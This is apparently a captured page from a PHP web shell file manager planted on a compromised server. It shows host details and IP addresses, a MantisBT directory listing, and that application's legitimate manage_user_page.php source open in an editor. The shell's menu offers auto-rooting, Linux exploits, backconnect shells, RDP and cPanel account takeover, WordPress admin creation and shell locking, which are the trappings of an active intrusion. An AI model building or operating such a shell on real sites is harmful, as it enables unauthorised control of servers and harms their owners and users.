Linux server.thearyasamaj.org 4.18.0-553.56.1.el8_10.x86_64 #1 SMP Tue Jun 10 05:00:59 EDT 2025 x86_64
Apache
: 103.90.241.146 | : 216.73.216.222
Cant Read [ /etc/named.conf ]
5.6.40
ftpuser@mantra.thearyasamaj.org
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
thearyasamaj /
public_html /
mantis /
[ HOME SHELL ]
Name
Size
Permission
Action
.well-known
[ DIR ]
drwxr-xr-x
admin
[ DIR ]
drwxr-xr-x
api
[ DIR ]
drwxr-xr-x
cgi-bin
[ DIR ]
drwxr-xr-x
core
[ DIR ]
drwxr-xr-x
css
[ DIR ]
drwxr-xr-x
doc
[ DIR ]
drwxr-xr-x
docbook
[ DIR ]
drwxr-xr-x
images
[ DIR ]
drwxr-xr-x
javascript
[ DIR ]
drwxr-xr-x
lang
[ DIR ]
drwxr-xr-x
library
[ DIR ]
drwxr-xr-x
phing
[ DIR ]
drwxr-xr-x
plugins
[ DIR ]
drwxr-xr-x
scripts
[ DIR ]
drwxr-xr-x
tests
[ DIR ]
drwxr-xr-x
.mailmap
1.62
KB
-rw-r--r--
account_delete.php
2.62
KB
-rw-r--r--
account_manage_columns_page.ph...
1.39
KB
-rw-r--r--
account_page.php
7.44
KB
-rw-r--r--
account_prefs_inc.php
12.53
KB
-rw-r--r--
account_prefs_page.php
1.88
KB
-rw-r--r--
account_prefs_reset.php
2.53
KB
-rw-r--r--
account_prefs_update.php
4.72
KB
-rw-r--r--
account_prof_edit_page.php
3.37
KB
-rw-r--r--
account_prof_menu_page.php
4.65
KB
-rw-r--r--
account_prof_update.php
3.97
KB
-rw-r--r--
account_sponsor_page.php
11.33
KB
-rw-r--r--
account_sponsor_update.php
2.29
KB
-rw-r--r--
account_update.php
3.71
KB
-rw-r--r--
adm_config_delete.php
1.61
KB
-rw-r--r--
adm_config_report.php
14.38
KB
-rw-r--r--
adm_config_set.php
7.67
KB
-rw-r--r--
adm_permissions_report.php
6.76
KB
-rw-r--r--
billing_inc.php
8.72
KB
-rw-r--r--
billing_page.php
1.3
KB
-rw-r--r--
browser_search_plugin.php
3.75
KB
-rw-r--r--
bug_actiongroup.php
12.74
KB
-rw-r--r--
bug_actiongroup_add_note_inc.p...
3.69
KB
-rw-r--r--
bug_actiongroup_attach_tags_in...
4.11
KB
-rw-r--r--
bug_actiongroup_ext.php
2.68
KB
-rw-r--r--
bug_actiongroup_ext_page.php
1.78
KB
-rw-r--r--
bug_actiongroup_page.php
10.25
KB
-rw-r--r--
bug_actiongroup_update_product...
2.92
KB
-rw-r--r--
bug_actiongroup_update_severit...
2.9
KB
-rw-r--r--
bug_assign.php
2.88
KB
-rw-r--r--
bug_change_status_page.php
11.62
KB
-rw-r--r--
bug_file_add.php
2.6
KB
-rw-r--r--
bug_file_delete.php
2.1
KB
-rw-r--r--
bug_file_upload_inc.php
2.86
KB
-rw-r--r--
bug_monitor_add.php
2.42
KB
-rw-r--r--
bug_monitor_delete.php
2.21
KB
-rw-r--r--
bug_monitor_list_view_inc.php
2.96
KB
-rw-r--r--
bug_relationship_add.php
4.42
KB
-rw-r--r--
bug_relationship_delete.php
3.81
KB
-rw-r--r--
bug_relationship_graph.php
4.86
KB
-rw-r--r--
bug_relationship_graph_img.php
1.91
KB
-rw-r--r--
bug_reminder.php
3.47
KB
-rw-r--r--
bug_reminder_page.php
3.44
KB
-rw-r--r--
bug_report.php
12.06
KB
-rw-r--r--
bug_report_advanced_page.php
706
B
-rw-r--r--
bug_report_page.php
22.16
KB
-rw-r--r--
bug_revision_drop.php
1.36
KB
-rw-r--r--
bug_revision_view_page.php
4.38
KB
-rw-r--r--
bug_set_sponsorship.php
2.58
KB
-rw-r--r--
bug_sponsorship_list_view_inc....
4.81
KB
-rw-r--r--
bug_stick.php
1.72
KB
-rw-r--r--
bug_update.php
10.08
KB
-rw-r--r--
bug_update_advanced_page.php
21.95
KB
-rw-r--r--
bug_update_page.php
774
B
-rw-r--r--
bug_view_advanced_page.php
1.07
KB
-rw-r--r--
bug_view_inc.php
22.61
KB
-rw-r--r--
bug_view_page.php
1.07
KB
-rw-r--r--
bugnote_add.php
2.36
KB
-rw-r--r--
bugnote_add_inc.php
4.08
KB
-rw-r--r--
bugnote_delete.php
2.34
KB
-rw-r--r--
bugnote_edit_page.php
4.17
KB
-rw-r--r--
bugnote_set_view_state.php
2.37
KB
-rw-r--r--
bugnote_stats_inc.php
5.67
KB
-rw-r--r--
bugnote_update.php
2.31
KB
-rw-r--r--
bugnote_view_inc.php
8.14
KB
-rw-r--r--
build.xml
3.1
KB
-rw-r--r--
changelog_page.php
10.39
KB
-rw-r--r--
config_defaults_inc.php
114.73
KB
-rw-r--r--
config_filter_defaults_inc.php
5.71
KB
-rw-r--r--
config_inc.php
178
B
-rw-r--r--
config_inc.php.sample
3.22
KB
-rw-r--r--
core.php
8.62
KB
-rw-r--r--
csv_export.php
3.57
KB
-rw-r--r--
error_log
240
B
-rw-r--r--
excel_xml_export.php
3.31
KB
-rw-r--r--
file_download.php
6.43
KB
-rw-r--r--
history_inc.php
2.52
KB
-rw-r--r--
index.php
1.09
KB
-rw-r--r--
issues_rss.php
6.36
KB
-rw-r--r--
jump_to_bug.php
1.12
KB
-rw-r--r--
login.php
2.27
KB
-rw-r--r--
login_anon.php
1.74
KB
-rw-r--r--
login_cookie_test.php
1.31
KB
-rw-r--r--
login_page.php
8.78
KB
-rw-r--r--
login_select_proj_page.php
2.64
KB
-rw-r--r--
logout_page.php
1.07
KB
-rw-r--r--
lost_pwd.php
3.14
KB
-rw-r--r--
lost_pwd_page.php
3.11
KB
-rw-r--r--
main_page.php
3.76
KB
-rw-r--r--
make_captcha_img.php
10.84
KB
-rw-r--r--
manage_columns_copy.php
3.69
KB
-rw-r--r--
manage_columns_inc.php
6.74
KB
-rw-r--r--
manage_config_columns_page.php
1.45
KB
-rw-r--r--
manage_config_columns_reset.ph...
1.72
KB
-rw-r--r--
manage_config_columns_set.php
4.6
KB
-rw-r--r--
manage_config_email_page.php
13.12
KB
-rw-r--r--
manage_config_email_set.php
5.74
KB
-rw-r--r--
manage_config_revert.php
2.16
KB
-rw-r--r--
manage_config_work_threshold_p...
15.08
KB
-rw-r--r--
manage_config_work_threshold_s...
6.68
KB
-rw-r--r--
manage_config_workflow_page.ph...
18.63
KB
-rw-r--r--
manage_config_workflow_set.php
7.7
KB
-rw-r--r--
manage_custom_field_create.php
1.73
KB
-rw-r--r--
manage_custom_field_delete.php
2.13
KB
-rw-r--r--
manage_custom_field_edit_page....
9.33
KB
-rw-r--r--
manage_custom_field_page.php
2.96
KB
-rw-r--r--
manage_custom_field_proj_add.p...
1.7
KB
-rw-r--r--
manage_custom_field_update.php
2.72
KB
-rw-r--r--
manage_overview_page.php
2.39
KB
-rw-r--r--
manage_plugin_install.php
1.33
KB
-rw-r--r--
manage_plugin_page.php
8.96
KB
-rw-r--r--
manage_plugin_uninstall.php
1.63
KB
-rw-r--r--
manage_plugin_update.php
1.82
KB
-rw-r--r--
manage_plugin_upgrade.php
1.34
KB
-rw-r--r--
manage_prof_menu_page.php
973
B
-rw-r--r--
manage_proj_cat_add.php
2.2
KB
-rw-r--r--
manage_proj_cat_copy.php
2.19
KB
-rw-r--r--
manage_proj_cat_delete.php
2.82
KB
-rw-r--r--
manage_proj_cat_edit_page.php
3.04
KB
-rw-r--r--
manage_proj_cat_update.php
2.21
KB
-rw-r--r--
manage_proj_create.php
2.49
KB
-rw-r--r--
manage_proj_create_page.php
4.16
KB
-rw-r--r--
manage_proj_custom_field_add_e...
1.92
KB
-rw-r--r--
manage_proj_custom_field_copy....
1.89
KB
-rw-r--r--
manage_proj_custom_field_remov...
2.37
KB
-rw-r--r--
manage_proj_custom_field_updat...
1.97
KB
-rw-r--r--
manage_proj_delete.php
1.7
KB
-rw-r--r--
manage_proj_edit_page.php
24.2
KB
-rw-r--r--
manage_proj_page.php
6.69
KB
-rw-r--r--
manage_proj_subproj_add.php
1.8
KB
-rw-r--r--
manage_proj_subproj_delete.php
1.64
KB
-rw-r--r--
manage_proj_update.php
1.78
KB
-rw-r--r--
manage_proj_update_children.ph...
1.65
KB
-rw-r--r--
manage_proj_user_add.php
1.78
KB
-rw-r--r--
manage_proj_user_copy.php
2.11
KB
-rw-r--r--
manage_proj_user_remove.php
2.63
KB
-rw-r--r--
manage_proj_ver_add.php
2.91
KB
-rw-r--r--
manage_proj_ver_copy.php
2.29
KB
-rw-r--r--
manage_proj_ver_delete.php
1.88
KB
-rw-r--r--
manage_proj_ver_edit_page.php
3.67
KB
-rw-r--r--
manage_proj_ver_update.php
2.31
KB
-rw-r--r--
manage_tags_page.php
5.52
KB
-rw-r--r--
manage_user_create.php
4.24
KB
-rw-r--r--
manage_user_create_page.php
3.64
KB
-rw-r--r--
manage_user_delete.php
2.5
KB
-rw-r--r--
manage_user_edit_page.php
8.29
KB
-rw-r--r--
manage_user_page.php
10.65
KB
-rw-r--r--
manage_user_proj_add.php
1.64
KB
-rw-r--r--
manage_user_proj_delete.php
2.03
KB
-rw-r--r--
manage_user_prune.php
2.06
KB
-rw-r--r--
manage_user_reset.php
2.55
KB
-rw-r--r--
manage_user_update.php
7.21
KB
-rw-r--r--
mantis_offline.php.sample
1.35
KB
-rw-r--r--
meta_inc.php
1.33
KB
-rw-r--r--
my_view_inc.php
14.72
KB
-rw-r--r--
my_view_page.php
5.16
KB
-rw-r--r--
news_add.php
1.83
KB
-rw-r--r--
news_edit_page.php
4.13
KB
-rw-r--r--
news_list_page.php
2.31
KB
-rw-r--r--
news_menu_page.php
3.57
KB
-rw-r--r--
news_rss.php
4.92
KB
-rw-r--r--
news_update.php
2.23
KB
-rw-r--r--
news_view_page.php
1.61
KB
-rw-r--r--
permalink_page.php
1.55
KB
-rw-r--r--
plugin.php
1.55
KB
-rw-r--r--
plugin_file.php
1.42
KB
-rw-r--r--
print_all_bug_options_inc.php
5.12
KB
-rw-r--r--
print_all_bug_options_page.php
1.27
KB
-rw-r--r--
print_all_bug_options_reset.ph...
2.29
KB
-rw-r--r--
print_all_bug_options_update.p...
2.47
KB
-rw-r--r--
print_all_bug_page.php
7.32
KB
-rw-r--r--
print_all_bug_page_word.php
15.42
KB
-rw-r--r--
print_bug_page.php
18.13
KB
-rw-r--r--
print_bugnote_inc.php
4.21
KB
-rw-r--r--
proj_doc_add.php
1.85
KB
-rw-r--r--
proj_doc_add_page.php
2.84
KB
-rw-r--r--
proj_doc_delete.php
2.12
KB
-rw-r--r--
proj_doc_edit_page.php
4.13
KB
-rw-r--r--
proj_doc_page.php
4.92
KB
-rw-r--r--
proj_doc_update.php
4.72
KB
-rw-r--r--
project_page.php
3.81
KB
-rw-r--r--
query_delete.php
1.99
KB
-rw-r--r--
query_delete_page.php
2.22
KB
-rw-r--r--
query_store.php
2.97
KB
-rw-r--r--
query_store_page.php
2.8
KB
-rw-r--r--
query_view_page.php
2.64
KB
-rw-r--r--
return_dynamic_filters.php
4.61
KB
-rw-r--r--
roadmap_page.php
10.67
KB
-rw-r--r--
search.php
7.09
KB
-rw-r--r--
set_project.php
3.53
KB
-rw-r--r--
signup.php
2.83
KB
-rw-r--r--
signup_page.php
3.4
KB
-rw-r--r--
summary_page.php
9.31
KB
-rw-r--r--
tag_attach.php
4.02
KB
-rw-r--r--
tag_create.php
1.45
KB
-rw-r--r--
tag_delete.php
1.33
KB
-rw-r--r--
tag_detach.php
1.26
KB
-rw-r--r--
tag_update.php
2.09
KB
-rw-r--r--
tag_update_page.php
4
KB
-rw-r--r--
tag_view_page.php
4.51
KB
-rw-r--r--
verify.php
2.35
KB
-rw-r--r--
view.php
1.17
KB
-rw-r--r--
view_all_bug_page.php
2.9
KB
-rw-r--r--
view_all_inc.php
7.94
KB
-rw-r--r--
view_all_set.php
23.18
KB
-rw-r--r--
view_filters_page.php
18.12
KB
-rw-r--r--
view_user_page.php
3.13
KB
-rw-r--r--
wiki.php
1.32
KB
-rw-r--r--
xmlhttprequest.php
1.55
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : manage_user_page.php
<?php # MantisBT - a php based bugtracking system # MantisBT is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 2 of the License, or # (at your option) any later version. # # MantisBT is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with MantisBT. If not, see <http://www.gnu.org/licenses/>. /** * @package MantisBT * @copyright Copyright (C) 2000 - 2002 Kenzaburo Ito - kenito@300baud.org * @copyright Copyright (C) 2002 - 2013 MantisBT Team - mantisbt-dev@lists.sourceforge.net * @link http://www.mantisbt.org */ /** * MantisBT Core API's */ require_once( 'core.php' ); require_once( 'icon_api.php' ); auth_reauthenticate(); access_ensure_global_level( config_get( 'manage_user_threshold' ) ); $f_sort = gpc_get_string( 'sort', 'username' ); $f_dir = gpc_get_string( 'dir', 'ASC' ); $f_hide_inactive = gpc_get_bool( 'hideinactive' ); $f_show_disabled = gpc_get_bool( 'showdisabled' ); $f_save = gpc_get_bool( 'save' ); $f_filter = utf8_strtoupper( gpc_get_string( 'filter', config_get( 'default_manage_user_prefix' ) ) ); $f_page_number = gpc_get_int( 'page_number', 1 ); $t_user_table = db_get_table( 'mantis_user_table' ); $t_cookie_name = config_get( 'manage_users_cookie' ); $t_lock_image = '<img src="' . config_get( 'icon_path' ) . 'protected.gif" width="8" height="15" border="0" alt="' . lang_get( 'protected' ) . '" />'; $c_filter = ''; # Clean up the form variables if ( !db_field_exists( $f_sort, $t_user_table ) ) { $c_sort = 'username'; } else { $c_sort = addslashes( $f_sort ); } $c_dir = ( $f_dir == 'ASC' ) ? 'ASC' : 'DESC'; # 0 = show inactive users, anything else = hide them $c_hide_inactive = ( $f_hide_inactive == 0 ) ? 0 : 1; $t_hide_inactive_filter = '&hideinactive=' . $c_hide_inactive; # 0 = hide disabled users, anything else = show them $c_show_disabled = ( $f_show_disabled == 0 ) ? 0 : 1; $t_show_disabled_filter = '&showdisabled=' . $c_show_disabled; # set cookie values for hide inactive, sort by, dir and show disabled if ( $f_save ) { $t_manage_string = $c_hide_inactive.':'.$c_sort.':'.$c_dir.':'.$c_show_disabled; gpc_set_cookie( $t_cookie_name, $t_manage_string, true ); } else if ( !is_blank( gpc_get_cookie( $t_cookie_name, '' ) ) ) { $t_manage_arr = explode( ':', gpc_get_cookie( $t_cookie_name ) ); # Hide Inactive $c_hide_inactive = $t_manage_arr[0]; # Sort field if ( isset( $t_manage_arr[1] ) ) { $c_sort = $t_manage_arr[1]; } else { $c_sort = 'username'; } # Sort order if ( isset( $t_manage_arr[2] ) ) { $c_dir = $t_manage_arr[2]; } else { $c_dir = 'DESC'; } # Show Disabled if ( isset( $t_manage_arr[3] ) ) { $c_show_disabled = $t_manage_arr[3]; } } html_page_top( lang_get( 'manage_users_link' ) ); print_manage_menu( 'manage_user_page.php' ); # New Accounts Form BEGIN $days_old = 7 * SECONDS_PER_DAY; $query = "SELECT * FROM $t_user_table WHERE ".db_helper_compare_days("" . db_now() . "","date_created","<= $days_old")." ORDER BY date_created DESC"; $result = db_query_bound( $query ); $g_db->debug=false; $new_user_count = db_num_rows( $result); # Never Logged In Form BEGIN $query = "SELECT * FROM $t_user_table WHERE ( login_count = 0 ) AND ( date_created = last_visit ) ORDER BY date_created DESC"; $result = db_query_bound( $query ); $unused_user_count = db_num_rows( $result ); # Manage Form BEGIN $t_prefix_array = array(); $t_prefix_array['ALL'] = lang_get( 'show_all_users' ); for ( $i = 'A'; $i != 'AA'; $i++ ) { $t_prefix_array[$i] = $i; } for ( $i = 0; $i <= 9; $i++ ) { $t_prefix_array["$i"] = "$i"; } $t_prefix_array['UNUSED'] = lang_get( 'users_unused' ); $t_prefix_array['NEW'] = lang_get( 'users_new' ); echo '<br /><center><table class="width75"><tr>'; foreach ( $t_prefix_array as $t_prefix => $t_caption ) { echo '<td>'; if ( $t_prefix === $f_filter ) { $c_filter = $f_filter; echo "<strong>$t_caption</strong>"; } else { print_manage_user_sort_link( 'manage_user_page.php', $t_caption, $c_sort, $c_dir, null, $c_hide_inactive, $t_prefix, $c_show_disabled ); } if ( $t_prefix === 'UNUSED' ) { echo ' [' . $unused_user_count . '] (' . lang_get( 'never_logged_in_title' ) . ')'; } else if ( $t_prefix === 'NEW' ) { echo ' [' . $new_user_count . '] (' . lang_get( '1_week_title' ) . ')'; } echo '</td>'; } echo '</tr></table></center>'; $t_where_params = null; if ( $f_filter === 'ALL' ) { $t_where = '(1 = 1)'; } else if ( $f_filter === 'UNUSED' ) { $t_where = '(login_count = 0) AND ( date_created = last_visit )'; } else if ( $f_filter === 'NEW' ) { $t_where = db_helper_compare_days("" . db_now() . "","date_created","<= $days_old"); } else { $c_prefix = db_prepare_string($f_filter); $t_where = "(UPPER(username) LIKE '$c_prefix%')"; } $p_per_page = 50; $t_offset = ( ( $f_page_number - 1 ) * $p_per_page ); $total_user_count = 0; # Get the user data in $c_sort order $result = ''; if( 1 == $c_show_disabled ) { $t_show_disabled_cond = ''; } else { $t_show_disabled_cond = ' AND enabled = ' . db_prepare_bool(true); } if ( 0 == $c_hide_inactive ) { $query = "SELECT count(*) as usercnt FROM $t_user_table WHERE $t_where $t_show_disabled_cond"; $result = db_query_bound($query, $t_where_params); $row = db_fetch_array( $result ); $total_user_count = $row['usercnt']; } else { $query = "SELECT count(*) as usercnt FROM $t_user_table WHERE $t_where AND " . db_helper_compare_days("" . db_now() . "","last_visit","< $days_old") . $t_show_disabled_cond; $result = db_query_bound($query, $t_where_params); $row = db_fetch_array( $result ); $total_user_count = $row['usercnt']; } $t_page_count = ceil($total_user_count / $p_per_page); if ( $t_page_count < 1 ) { $t_page_count = 1; } # Make sure $p_page_number isn't past the last page. if ( $f_page_number > $t_page_count ) { $f_page_number = $t_page_count; } # Make sure $p_page_number isn't before the first page if ( $f_page_number < 1 ) { $f_page_number = 1; } if ( 0 == $c_hide_inactive ) { $query = "SELECT * FROM $t_user_table WHERE $t_where $t_show_disabled_cond ORDER BY $c_sort $c_dir"; $result = db_query_bound($query, $t_where_params, $p_per_page, $t_offset); } else { $query = "SELECT * FROM $t_user_table WHERE $t_where AND " . db_helper_compare_days( "" . db_now() . "", "last_visit", "< $days_old" ) . " $t_show_disabled_cond ORDER BY $c_sort $c_dir"; $result = db_query_bound($query, $t_where_params, $p_per_page, $t_offset ); } $user_count = db_num_rows( $result ); ?> <br /> <table class="width100" cellspacing="1"> <tr> <td class="form-title" colspan="5"> <?php echo lang_get( 'manage_accounts_title' ) ?> [<?php echo $total_user_count ?>] <?php print_button( 'manage_user_create_page.php', lang_get( 'create_new_account_link' ) ) ?> <?php if ( $f_filter === 'UNUSED' ) echo print_button( 'manage_user_prune.php', lang_get( 'prune_accounts' ) ); ?> </td> <td class="center" colspan="3"> <form method="post" action="manage_user_page.php"> <?php # CSRF protection not required here - form does not result in modifications ?> <input type="hidden" name="sort" value="<?php echo $c_sort ?>" /> <input type="hidden" name="dir" value="<?php echo $c_dir ?>" /> <input type="hidden" name="save" value="1" /> <input type="hidden" name="filter" value="<?php echo $c_filter ?>" /> <input type="checkbox" name="hideinactive" value="1" <?php check_checked( $c_hide_inactive, 1 ); ?> /> <?php echo lang_get( 'hide_inactive' ) ?> <input type="checkbox" name="showdisabled" value="1" <?php check_checked( $c_show_disabled, 1 ); ?> /> <?php echo lang_get( 'show_disabled' ) ?> <input type="submit" class="button" value="<?php echo lang_get( 'filter_button' ) ?>" /> </form> </td> </tr> <tr class="row-category"> <?php # Print column headers with sort links $t_columns = array( 'username', 'realname', 'email', 'access_level', 'enabled', 'protected', 'date_created', 'last_visit' ); foreach( $t_columns as $t_col ) { echo "\t<td>"; print_manage_user_sort_link( 'manage_user_page.php', lang_get( $t_col ), $t_col, $c_dir, $c_sort, $c_hide_inactive, $c_filter, $c_show_disabled ); print_sort_icon( $c_dir, $c_sort, $t_col ); echo "</td>\n"; } ?> </tr> <?php $t_date_format = config_get( 'normal_date_format' ); $t_access_level = Array(); for ($i=0;$i<$user_count;$i++) { # prefix user data with u_ $row = db_fetch_array($result); extract( $row, EXTR_PREFIX_ALL, 'u' ); $u_date_created = date( $t_date_format, $u_date_created ); $u_last_visit = date( $t_date_format, $u_last_visit ); if( !isset( $t_access_level[$u_access_level] ) ) { $t_access_level[$u_access_level] = get_enum_element( 'access_levels', $u_access_level ); } ?> <tr <?php echo helper_alternate_class( $i ) ?>> <td> <?php if ( access_has_global_level( $u_access_level ) ) { ?> <a href="manage_user_edit_page.php?user_id=<?php echo $u_id ?>"><?php echo string_display_line( $u_username ) ?></a> <?php } else { echo string_display_line( $u_username ); } ?> </td> <td><?php echo string_display_line( $u_realname ) ?></td> <td><?php print_email_link( $u_email, $u_email ) ?></td> <td><?php echo $t_access_level[$u_access_level] ?></td> <td class="center"><?php echo trans_bool( $u_enabled ) ?></td> <td class="center"> <?php if ( $u_protected ) { echo " $t_lock_image"; } else { echo ' '; } ?> </td> <td><?php echo $u_date_created ?></td> <td><?php echo $u_last_visit ?></td> </tr> <?php } # end for # -- Page number links -- ?> <tr> <td class="right" colspan="8"> <span class="small"> <?php /* @todo hack - pass in the page filter via cheating the actual filter value */ print_page_links( 'manage_user_page.php', 1, $t_page_count, (int)$f_page_number, $c_filter . $t_hide_inactive_filter . $t_show_disabled_filter . "&sort=$c_sort&dir=$c_dir" ); ?> </span> </td> </tr> </table> <?php # Manage Form END ?> <br /> <form method="get" action="manage_user_edit_page.php"> <?php # CSRF protection not required here - form does not result in modifications ?> <?php echo lang_get( 'search' ) ?> <input type="text" name="username" value="" /> <input type="submit" class="button" value="<?php echo lang_get( 'manage_user' ) ?>" /> </form> <?php html_page_bottom();
Close